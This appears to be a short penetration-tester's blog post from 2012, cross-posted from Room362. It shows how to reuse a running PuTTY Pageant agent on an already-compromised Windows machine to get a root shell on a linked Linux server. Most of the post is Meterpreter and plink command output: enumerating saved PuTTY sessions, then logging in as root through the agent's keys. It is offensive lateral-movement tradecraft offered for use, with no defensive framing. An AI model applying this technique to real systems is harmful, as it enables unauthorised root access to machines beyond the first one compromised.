Free Shells with Plink and Pageant

Sunday, October 21, 2012

Rob Fuller


Watching Egypt’s talk at DEFCON 20 he mentioned the ability to jump on on a system when pageant (puTTY’s ssh-agent equivalent) is running.

So I wanted to figure out the best way to get this going. Here is what I came up with:

meterpreter > run enum_putty
[*] Putty Installed for [["Administrator"]]
[*] Saved SSH Server Public Keys:
[*]     rsa2@22:
[*] Session corp_webserver:
[*]     Protocol: SSH
[*]     Hostname:
[*]     Username: root
[*]     Public Key:
meterpreter >

Awesome, this guy runs as root and we have the IP address. But it doesn’t have any public keys listed. That’s ok because Pageant is running.

meterpreter > shell
Process 3364 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\PuTTY\>plink -agent root@
plink -agent root@
Welcome to Ubuntu 12.04 LTS (GNU/Linux i686)
No mail.
Last login: Tue Aug 28 14:15:18 2012 from
root@]$ id
uid=0(root) gid=0(root) groups=0(root)

w00t! An extra shell for free!!

Cross-posted from Room362

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